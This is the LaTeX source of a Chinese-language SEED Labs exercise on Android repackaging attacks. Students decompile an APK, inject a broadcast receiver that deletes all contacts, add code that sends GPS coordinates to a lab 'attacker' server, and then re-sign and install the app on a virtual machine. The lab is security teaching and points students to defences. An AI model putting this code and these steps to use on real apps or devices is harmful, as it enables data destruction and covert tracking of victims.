```tex
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%  Copyright by Wenliang Du.                                       %%
%%  This work is licensed under the Creative Commons                %%
%%  Attribution-NonCommercial-ShareAlike 4.0 International License. %%
%%  To view a copy of this license, visit                           %%
%%  http://creativecommons.org/licenses/by-nc-sa/4.0/.              %%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

\input{../../common-files/header}
\input{../../common-files/copyright}

\newcommand{\repackFigs}{./Figs}

\lhead{\bfseries SEED Labs -- Android Repackaging Attack Lab}

\begin{document}

\begin{center}
  {\LARGE Android Repackaging Attack Lab}
\end{center}

\seedlabcopyright{2018}

% *******************************************
% SECTION
% ******************************************* 
\section{概述}

重新打包攻击是一种常见的针对Android设备的攻击类型。在这种攻击中，攻击者会修改从应用市场下载的一款流行的应用程序，对其进行逆向工程，添加一些恶意负载，然后再将修改后的应用程序上传到应用市场。由于用户很难注意到修改过的应用程序与原版之间的差异，一旦安装了修改过的应用程序，其中包含的恶意代码就会在后台执行攻击。
例如，在2011年3月，发现DroidDream特洛伊木马已经嵌入到了Android官方市场的50多个应用程序中，并感染了许多用户。DroidDream特洛伊木马利用Android中的漏洞获得了设备上的root访问权限。

本实验的学习目标是让学生亲身了解Android重新打包攻击，从而更好地理解与Android系统相关的这种特定风险，并在下载应用时更加谨慎，尤其是从那些不可信的第三方市场。在这个实验中，学生将被要求对选定的应用程序执行一个简单的重新打包攻击，并仅在我们提供的Android虚拟机上演示该攻击。学生们应被告知不要提交他们重新打包后的应用程序到任何应用市场，否则会面临法律后果。也不要对自己实际的Android设备进行攻击操作，因为这可能会造成真正的损害。

使重新打包攻击易于实施的原因是Android应用程序的二进制代码可以轻松逆向工程，由于缺乏对二进制文件的保护。
图~\ref{fig:repackaging:overview}左侧部分展示了Android应用的一般开发过程，会产生一个名为APK的文件。该文件上传到应用市场供其他人下载。右侧部分则显示了攻击者一旦获取了APK文件后，可以使用逆向工程工具拆包APK文件，反编译程序，并添加恶意逻辑，然后再打包回APK文件（修改过的）。然后，攻击者将重新打包的应用程序上传至应用市场，大多数应用市场的检测措施并不足以检测出应用程序是否被重新打包。

\begin{figure}[htb]
  \centering
    \includegraphics[width=0.8\textwidth]{\repackFigs/RepackagingAttackOverview.pdf}
  \caption{重新打包攻击的概览}
  \label{fig:repackaging:overview}
\end{figure}

\paragraph{实验环境。} 
该实验需要两个虚拟机，一个是叫做\texttt{SEEDAndroid}的虚拟机，另一个是叫作\texttt{SEEDUbuntu16.04}的虚拟机。如名称所示，第一个虚拟机运行的是Android操作系统，我们用它来测试我们的重新打包攻击。第二个虚拟机是一个Ubuntu Linux虚拟机；所有该实验所需的工具已经安装在了这个Ubuntu VM上。
这两台虚拟机及其用户手册可以从SEED网站下载。这两个VM需要连接到同一个网络（我们可以将同样的“Nat Network”适配器添加到两个VM）。

% *******************************************
% SECTION
% ******************************************* 
\section{实验任务}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 

\subsection{任务1：获取一个Android应用程序（APK文件并安装它)}

为了发起重新打包攻击，我们需要一个宿主应用。在实际的攻击中，攻击者通常选择流行的应用程序，因为他们能吸引更多的人下载他们的重新打包应用。
对于这项任务，你可以编写自己的应用或从现有的应用中下载。可以从许多地方获取Android应用程序的APK文件，例如这个网址：\url{https://apkpure.com/}。我们还为你提供了一个简单的可下载的应用（文件名为\texttt{RepackagingLab.apk}）。

需要注意的是，在这次实验中我们将使用一个Android虚拟机而非实际的Android设备，因此一些应用可能无法在虚拟机上运行（它们会崩溃）。可能导致崩溃的一个原因是应用程序可能包含了本地代码。针对真实Android设备编译的本地代码是ARM处理器的二进制代码，而我们的Android虚拟机则是在x86处理器上运行的。为了使这些应用能够在我们的Android虚拟机上运行，需要重新编译为x86处理器的二进制代码。这需要源代码，而这很难获取。
因此，如果你遇到了这个问题，请找到另一个应用程序。这个限制仅由实验环境引起；对于现实生活中的攻击并不是一个问题。

我们首先将安装宿主应用。我们将使用Ubuntu虚拟机上的\texttt{adb}工具完成此任务。首先，我们需要找到Android虚拟机的IP地址。这可以通过在Android终端应用程序中运行\texttt{ifconfig}命令来实现。
然后，我们可以运行以下命令进行安装：

\begin{lstlisting}
// 使用adb连接到Android虚拟机
$ adb connect <ip_address_of_android_vm>

// 安装应用
$ adb install <application_name>.apk
\end{lstlisting}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务2：反编译Android应用程序}

为了在某个应用上发起重新打包攻击，我们需要修改该应用。虽然可以直接修改APK文件，但这并不容易，因为APK文件中的代码包含Dalvik字节码（dex格式），这并不是供人类阅读的。
我们需将其转换为易于人类阅读的形式。最常见的人类可读的Dalvik字节码格式称为Smali。 Smali和Baksmali的名字分别对应于“汇编器”和“反汇编器”。

在本任务中，我们将使用名为\texttt{APKTool}的工具来将dex代码（\texttt{classes.dex}）转换为smali代码。\texttt{APKTool}是一个非常强大的Android应用逆向工程工具。它有助于解码和重建Android应用程序。
我们可以像下面这样直接输入整个APK文件：

\begin{lstlisting}[backgroundcolor=]
  $ apktool d [appname].apk 
\end{lstlisting}

APK文件只是一个zip文件，其中包含\texttt{classes.dex}（编译的Java源代码，称为Dalvik字节码）、\texttt{resources.arsc}（资源文件）、\texttt{AndroidManifest.xml}等。
\texttt{APKTool}基本上会解压APK文件并解码其内容。对于资源文件，不需要进行太多操作。对于Dex字节码\texttt{classes.dex}，它会被反编译为smali代码，
\texttt{APKTool}将输出文件放在一个名为与APK文件名相同的创建的文件夹中。
重新打包后的APK文件典型结构如图~\ref{fig:repackaging:apkfilestructure}所示。该文件夹包含XML资源文件、
\texttt{AndroidManifest}文件，以及源代码文件等。
XML资源和\texttt{AndroidManifest}文件应是可读的，并且通常非常接近其原始形式。反编译后的smali代码被放置在
smali文件夹中。通常，一个smali文件包含一个Java类的代码。

\begin{figure}[htb]
  \centering
    \includegraphics[width=0.8\textwidth]{\repackFigs/ApkFileStructure.pdf}
  \caption{\texttt{APKTool}运行后的APK文件结构}
  \label{fig:repackaging:apkfilestructure}
\end{figure}

接下来我们将向smali文件夹注入一些恶意代码，然后将所有内容重新打包成一个新的APK包。这就是为什么称之为重新打包攻击的原因。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务3：注入恶意代码}

在本任务中，我们需要将恶意代码注入目标应用的smali代码。实现的方法有很多种。
一种方法是直接修改一些现有的smali文件，在其中添加恶意逻辑。另一种更简单的方法是向该应用程序添加一个全新的组件；这个新组件独立于现有应用之外，因此不会影响该应用的行为。由于每个独立组件都可以放在单独的smali文件中，
使用这种方法，我们只需要创建一个新的smali文件。

Android应用中有四种类型的组件：\textit{activity}、\textit{service}、\textit{broadcast receiver} 和 \textit{content provider}。前两种组件最常被应用程序使用，而另外两个则不那么常见。
可以在目标应用中添加这些组件中的任何一个，但攻击中最重要的是找到一种不会被用户注意到的方式来触发恶意代码。
尽管针对这四种组件的解决方案都存在，最容易的一种是广播接收器，它可以由系统发送的广播触发。例如，当设置系统时间时会发送\texttt{TIME\_SET} 广播；在系统重启后会发送\texttt{BOOT\_COMPLETED} 广播。
我们可以编写一个监听这些广播之一的广播接收器，在事件发生时恶意代码将自动被触发。

在Android中编写广播接收器相当直接。如果你知道如何做，可以自由地编写自己的代码。当你从你自己的Java代码构建了一个APK文件后，
应使用\texttt{APKTool}来拆解你的APK文件并获取广播接收器的smali代码。
对于那些没有参加任何Android编程课程的人来说，你可以使用我们提供的smali代码。Java代码如下所示，而smali代码可以从这个实验的网站下载。

\begin{lstlisting}
public class MaliciousCode extends BroadcastReceiver {
  @Override
  public void onReceive(Context context, Intent intent) {
     ContentResolver contentResolver = context.getContentResolver();
     Cursor cursor = contentResolver.query 
              (ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
	
     while (cursor.moveToNext()) {
         String lookupKey = cursor.getString                             
              (cursor.getColumnIndex(ContactsContract.Contacts.LOOKUP_KEY));
                                    
         Uri uri = Uri.withAppendedPath 
	           (ContactsContract.Contacts.CONTENT_LOOKUP_URI, lookupKey);
         contentResolver.delete(uri, null, null);
     }
  }
}
\end{lstlisting}

上述恶意代码，如果被触发将从设备中删除所有联系记录。该代码实现了一个广播接收器，它将在接收到一个广播事件时被触发。
一旦触发，它进入\texttt{onReceive()} 方法，在这里我们实现了我们的恶意逻辑。
这段代码基本上与“Contacts”应用的内容提供者进行交互，并要求内容提供者删除其所有的条目，实际上是清除了所有联系记录。
在这段代码中，使用了\texttt{ContentResolver}来访问存储在手机上的联系信息。为了获取联系人列表，
发送了一个查询给“Contacts”的内容提供者。此查询没有提供任何匹配标准，因此通过\texttt{Cursor}对象返回所有的记录。
然后遍历这些记录，并逐一删除它们。

可以从我们的网站下载上述程序的smali代码，并将其放置在由\texttt{APKTool}创建的\texttt{smali/com}文件夹中。然而，
我们还没有告诉系统何时调用我们的广播接收器，因此我们还需要将广播接收器注册到系统中。
这可以通过向目标应用的\texttt{AndroidManifest.xml}文件添加一些信息来实现，这些信息可以从由\texttt{APKTool}创建的文件夹中找到。此外，
为了读取和写入“Contacts”的内容提供者，应用需要在\texttt{AndroidManifest.xml}中声明两个相应的权限。
以下是我们必须添加到清单文件的内容。

\begin{lstlisting}
<manifest...>
  ...
  <uses-permission android:name="android.permission.READ_CONTACTS" />  (*@\ding{192}@*)
  <uses-permission android:name="android.permission.WRITE_CONTACTS" /> (*@\ding{193}@*)
  ....

  <application>
      .....
      .....
      <receiver android:name="com.MaliciousCode" >
          <intent-filter>
             <action android:name="android.intent.action.TIME_SET" />  (*@\ding{194}@*)
          </intent-filter>
      </receiver>
  </application>

</manifest>
\end{lstlisting}

在上述清单文件中，我们添加了两个权限来允许应用从和写入“Contacts”的内容提供者（行\ding{192}和\ding{193}）。
需要注意的是
这些权限被添加到\texttt{<application>}块之外但在\texttt{<manifest>}块之内。在文件中，我们也注册了我们的广播接收器来\texttt{TIME\_SET} 广播事件（行\ding{194}），这样每次我们改变手机上的时间时代码就可以被触发。
该注册应添加到
\texttt{<application>} 块内而不是 \texttt{<activity>}块中。下载自应用市场的应用程序可能具有一个很大的\texttt{AndroidManifest.xml}文件；你应该仔细修改此文件并在正确的位置放置注入的内容。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务4：重新打包带有恶意代码的Android程序}

在我们插入你自己的恶意smali代码后，我们现在准备好将一切重新组合在一起，并构建一个单一的APK文件。这个过程需要两个步骤。

\paragraph{第1步：重建APK}
我们将再次使用\texttt{APKTool}生成一个新的APK文件。以下是命令：
默认情况下，新的APK文件将保存在“dist”目录中。

\begin{lstlisting}[backgroundcolor=]
  $ apktool b [application_folder] 
\end{lstlisting}

\paragraph{第2步：签名APK文件}
Android要求所有应用程序在安装之前必须进行数字签名。
这意味着每个APK都需要一个数字签名和一个公钥证书。该证书和签名帮助Android识别应用的作者。
从安全角度来看，证书需要由证书授权机构签署，在签署前需要验证证书中存储的身份信息是否确实有效。获得来自认可证书授权机构的证书通常不是免费的，
因此Android允许开发人员使用自己的私钥来签署其证书，即自签证书。
这种自我签名证书的目的在于使应用能够在Android设备上运行，并不用于安全目的。开发者可以将任何名称放在证书中，而无论该名称是否合法所有者，
因为没有证书授权机构参与检查这一点。显然，这完全违背了证书和签名的用途。
Google Play商店在接收应用程序之前会进行一些名称验证，但其他第三方应用市场并不总是进行这种验证。在这个实验中，我们将使用一个自我签名证书。整个过程包括两个步骤。

\begin{enumerate}

\item 第1步：使用\texttt{keytool}命令生成公钥和私钥对：

\begin{lstlisting}[backgroundcolor=]
  $ keytool -alias <alias_name> -genkey -v -keystore mykey.keystore
\end{lstlisting}
% (选项不需要)  -keyalg RSA -keysize 2048 -validity 10000

该工具将提示用户输入一个密码，用于保护密钥库；它还会要求用户提供一些额外信息以生成钥匙。然后它会生成一对公钥和私钥，并将其存储在名为\texttt{mykey.keystore}的密钥库文件中（在命令行指定）。
密钥库可以存储多个钥匙，每个钥匙通过一个别名名称标识（在命令中指定），该名称我们将用于之后签名你的应用。

\item 第2步：我们可以现在使用\texttt{jarsigner}来使用之前生成的私钥为APK文件签名。我们可以通过以下命令完成此操作。
\begin{lstlisting}[backgroundcolor=]
  $ jarsigner -keystore mykey.keystore app_name.apk <alias_name>
\end{lstlisting}
%$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1
%       -keystore my-release-key.keystore my_app_name.apk <alias_name>

命令 \texttt{jarsigner} 将提示用户输入密码，该密码用于访问密钥库。然后使用别名标识的钥匙对APK文件进行签名。
\end{enumerate}

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务5：安装重新打包的应用并触发恶意代码}

在本最后一步中，我们将把修改过的应用程序安装到我们的Android虚拟机上，并测试攻击是否成功。如果我们在之前已经安装了该应用，
需要先去Android虚拟机并将该应用卸载；否则，由于签名不匹配我们无法安装重新打包的应用。
任务1中的安装说明与这些相同。

在演示攻击前，我们需要给我们的应用程序权限以访问联系人信息。
在现实世界中，应用程序通常会请求用户的权限。对于照片、联系人和位置等的权限非常常见。

\begin{lstlisting}[backgroundcolor=]
  设置 -> 应用程序 -> 重新打包实验室 -> 权限 -> 开启联系人
\end{lstlisting}

为了演示攻击是否有效，我们只需要运行应用程序一次，在“Contacts”应用中添加一些联系记录，并在Android虚拟机上更改时间。如果
你的攻击成功了，你应该看到你刚刚输入的所有联系记录都被删除。
要更改时间，请执行以下操作：

\begin{lstlisting}[backgroundcolor=]
  设置 -> 日期和时间 -> 设置时间
\end{lstlisting}

\paragraph{常见问题。} 
我们需要运行安装的重新打包应用程序一次以注册接收器，否则注入的代码不会被执行。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{任务6：使用重新打包攻击跟踪受害者的位置}


在本任务中，我们将进行另一种重新打包攻击，在该攻击中恶意代码将从用户手机上窃取位置信息，
实际上是在追踪用户的行踪。


\paragraph{步骤1. 设置模拟位置。}  
在一个Android设备上，我们可以从其GPS硬件获取位置信息。
然而，我们的Android虚拟机没有这样的硬件，但Android操作系统允许我们向应用程序提供模拟位置。我们需要做的就是编写一个模拟位置的应用程序，
然后将Android操作系统配置为从中获取位置，而不是真正的GPS硬件。我们已经在Android虚拟机上安装了这样一个应用。
该应用可以模拟六个不同城市的轨迹。只需从该应用中选择一个城市即可。

\paragraph{步骤2. 配置DNS。} 重新打包应用程序中的恶意代码会向攻击者的服务器（\url{www.repackagingattacklab.com}）发送受害者的位置坐标。
我们将使用SEEDUbuntu VM托管此服务器。因此，我们需要将主机名映射到Ubuntu VM的IP地址。
最简单的方法是在Android虚拟机上的 \path{/system/etc/hosts} 文件中添加一行。我们可以直接在Android上使用文本编辑器工具（如\texttt{vi} 或某些编辑应用）修改文件。

\begin{lstlisting}
// 在Android VM 上运行以下命令
$ su root
# vi /system/etc/hosts

  在 hosts 的末尾添加以下条目
  (*@\textbf{IP\_Address  www.repackagingattacklab.com}@*)

  其中 IP\_Address 是 Ubuntu VM 的 IP 地址 
\end{lstlisting}

如果你不熟悉 Android 上的编辑工具，可以将文件复制到 Ubuntu VM 中，在 Ubuntu 中进行更改，然后再将其复制回 Android。
以下是此方法所需的命令。 

\begin{lstlisting}
// 在 Ubuntu VM 上运行以下命令
// 假设 Android VM 的 IP 地址为 10.0.2.9

// 获取 Ubuntu VM 的 IP 地址 
$ ifconfig

// 使用 root 特权启动 adb 守护进程 
$ adb root 

// 连接到 Android VM
$ adb connect 10.0.2.9 

// 从 Android VM 下载 hosts 文件
$ adb pull /system/etc/hosts

// 在 Ubuntu VM 上修改下载的 hosts 文件
$ gedit ./hosts  (或使用你最喜欢的文本编辑器)

  在 hosts 的末尾添加以下条目
  IP_Address  www.repackagingattacklab.com

  其中 IP_Address 是 Ubuntu VM 的 IP 地址 

// 将 hosts 文件重新上传回 Android VM
$ adb push ./hosts /system/etc/hosts
\end{lstlisting}

\paragraph{步骤3: 重新打包并安装受害者应用。} 
我们将遵循任务1到5的指示进行重新打包。
我们甚至将使用相同的宿主应用程序。唯一的不同之处是我们将使用从我们的网站下载的一组新的smali代码。有三个smali文件：\texttt{MaliciousCode.smali},
\texttt{SendData\$1.smali} 和 \texttt{SendData.smali}。将其放置在未打包应用的\path{smali/com/mobiseed/repackaging} 文件夹中。

我们还需要修改\texttt{AndroidManifest.xml}，因为恶意代码所需的权限与任务1到5中使用的不同。我们需要三个与位置有关的权限以及一个与互联网访问有关的权限。 

\begin{lstlisting}
<manifest...>
  ...
  <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> 
  <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
  <uses-permission android:name="android.permission.ACCESS_MOCK_LOCATION" /> 
  <uses-permission android:name="android.permission.INTERNET"/>
  ....

  <application>
      .....
      .....
      <receiver android:name="com.mobiseed.repackaging.MaliciousCode" >
          <intent-filter>
              <action android:name="android.intent.action.TIME_SET" />
          </intent-filter>
      </receiver>
  </application>

</manifest>
\end{lstlisting}

\paragraph{步骤4: 在Android虚拟机上启用权限。} 
在清单文件中添加位置权限是不够的。当应用程序通过应用商店安装时，例如Play商店，
用户将被询问是否授予这些位置权限给该应用程序。
如果用户同意，则Play商店会告诉系统已授予权限。
由于我们通过\texttt{adb}工具安装了我们的应用程序，该工具不会提示我们进行批准；
也不会自动为应用程序启用这些权限。因此，我们需要手动进行此操作。
请按照以下步骤允许位置访问。在实际手机上，用户不需要执行此步骤。

\begin{lstlisting}[backgroundcolor=]
  设置 -> 应用程序 -> 重新打包实验室 -> 权限 -> 开启位置
\end{lstlisting}

\paragraph{步骤5: 触发攻击代码。} 
现在我们可以看到攻击开始生效了。运行模拟位置应用程序并选择一个地点，然后更改你的Android虚拟机的时间。
要更改时间，请点击以下序列：

\begin{lstlisting}[backgroundcolor=]
  设置 -> 日期和时间 -> 设置时间
\end{lstlisting}

\paragraph{步骤6: 跟踪受害者。} 
一旦恶意代码被触发，我们就可以返回Ubuntu VM，在Firefox浏览器中加载 \url{http://www.repackagingattacklab.com}。
如果你的攻击成功了，你应该能够跟踪Android虚拟机的受害者的位置。你可以回到模拟位置应用程序更改城市，并查看你的恶意代码是否能正确追踪受害者的行踪，请描述你的观察。

\section{提交和演示}

你需要提交一份详细的实验报告来说明你所做的事情以及你所观察到的现象，包括截图和代码片段（如有需要）。你还需提供对有趣或令人惊讶的观察结果的解释。鼓励你进行进一步调查，超出实验室描述的要求。

% *******************************************
% SECTION
% ******************************************* 
\section{问题}

完成所有实验任务后，你需要在你的实验报告中回答以下问题。

\begin{itemize} 
\item \textbf{问题1：} 为什么重新打包攻击在iOS设备上并不构成风险？
\item \textbf{问题2：} 如果你是Google，你会做出什么决定来减少重新打包攻击的机会？ 
% (提示：开放式问题: 禁用自我签名等)
  
\item  \textbf{问题3：} 第三方市场被认为是重新打包应用的主要来源。你认为仅使用官方的Google Play商店能否完全防止受到攻击？
为什么或为什么不？
% (不是，名称检查可能无法识别所有重新打包的应用)

\item  \textbf{问题4：} 在现实生活中，如果你不得不从不可信的源下载应用程序，你会做些什么来确保设备的安全？ 
  
% (开放式问题: 校验哈希值，在安装时检查权限等
\end{itemize} 

\section*{附录：}

本节将告诉你是如何修改恶意代码并生成可在重新打包攻击中使用的自定义smali文件。

\begin{itemize}
\item 步骤1 : 从我们的网站下载并解压RepackagingAttack.zip 文件

\item 步骤2: 寻找恶意代码。进入RepackagingAttack内的 app/src/main/java/com/mobiseed/repackaging/ 目录

\item 步骤3: 这里你应该会看到MaliciousCode.java。这是我们的攻击代码，你可以根据需要进行修改。

\item 步骤4: 构建应用并获取 .apk 文件。要构建你的应用程序，请进入该应用程序的根目录并运行：

\begin{lstlisting}
$ ./gradlew
$ ./gradlew assembleDebug
\end{lstlisting}

你可以在 app/build/outputs/apk/debug/ 找到应用。

\item 步骤5: 使用以下命令拆解 .apk 文件：
\begin{lstlisting}
$ apktool d your-apk.apk
\end{lstlisting}

\item 步骤6: 浏览到未打包的应用程序文件夹，并进入 smali/com/mobiseed/repackaging。在这里你应该找到名为 MaliciousCode* 和 SendData* 的 smali 文件。复制这些文件以使用于重新打包攻击。
\end{itemize}

\paragraph{MaliciousCode.java的结构}
公共类“MaliciousCode”运行另一个类“SendData”，这是一个AsyncTask。我们有必要使用AsyncTask来执行网络操作。“MaliciousCode”是我们广播接收器。

“SendData”有一个 Get() 函数，我们可以用它向特定 URL 发送 GET 请求。
“doinBackground()”是用于执行主要代码的函数。每次调用 AsyncTask 时，“doinBackground()”都会被执行。这里我们使用 “LocationManager” 来获取设备的最后已知位置。从创建的对象中提取纬度和经度详细信息，并与GET请求一起发送这些数据。

% -------------------------------------------
% SUBSECTION
% ------------------------------------------- 
\subsection{位置}

我们将此代码嵌入广播接收器中，其工作是通过电话的 GPS 获取当前位置并将其发送给我们的服务器。

1. 获取位置

\begin{lstlisting}
....
location = locMgr.getLastKnownLocation(LocationManager.GPS_PROVIDER)
Location location = locMgr.getLastKnownLocation(LocationManager.GPS_PROVIDER);
location.getLatitude;
location.getLongitude;
....
\end{lstlisting} 

2. 发送位置

\begin{lstlisting}
Public void Get(String s){
URL urlConnection = new URL(s);
HttpURLConnection con = (HttpURLConnection) urlConnection.openConnection();
con.setRequestMethod("GET");
}
...
Get("http://www.repackagingattacklab.com/location.php?"+location);
...
\end{lstlisting} 

在攻击者机器上，我们将能够看到带有 VM 位置的实时地图。 
\textbf{攻击者机器：}正如代码中所见，攻击代码与 "http://www.repackagingattacklab.com" 进行通信。这实际上是在攻击者机器上的一个虚拟主机运行。
我们将在实验环境中修改 Android VM 的 /etc/hosts 文件以使其能够解析此 URL。 
在攻击者的机器上，有一个 Apache 服务器正在运行，其中的 "location.php" 接收我们在攻击代码中发送的 GET 请求的数据，并将其写入 JSON 文件中。我们的 JavaScript 代码从这个 JSON 文件中获取数据并使用 AJAX 更新地图。
你可以在我们攻击者机器上的 /var/www/repackaginglab 目录中查看源代码。

\paragraph{模拟位置}
1. 设置位置

\begin{lstlisting}
....
MockLocationProvider mock = new MockLocationProvider(LocationManager.GPS_PROVIDER, this);
mock.pushLocation(Latitude[i], Longitude[i]);
.... 
\end{lstlisting} 

2. 检查位置
\begin{lstlisting}
....
LocationManager locMgr = (LocationManager) getSystemService(LOCATION_SERVICE);
locMgr.getLastKnownLocation(LocationManager.GPS_PROVIDER));
.... 
\end{lstlisting} 

\end{document}
```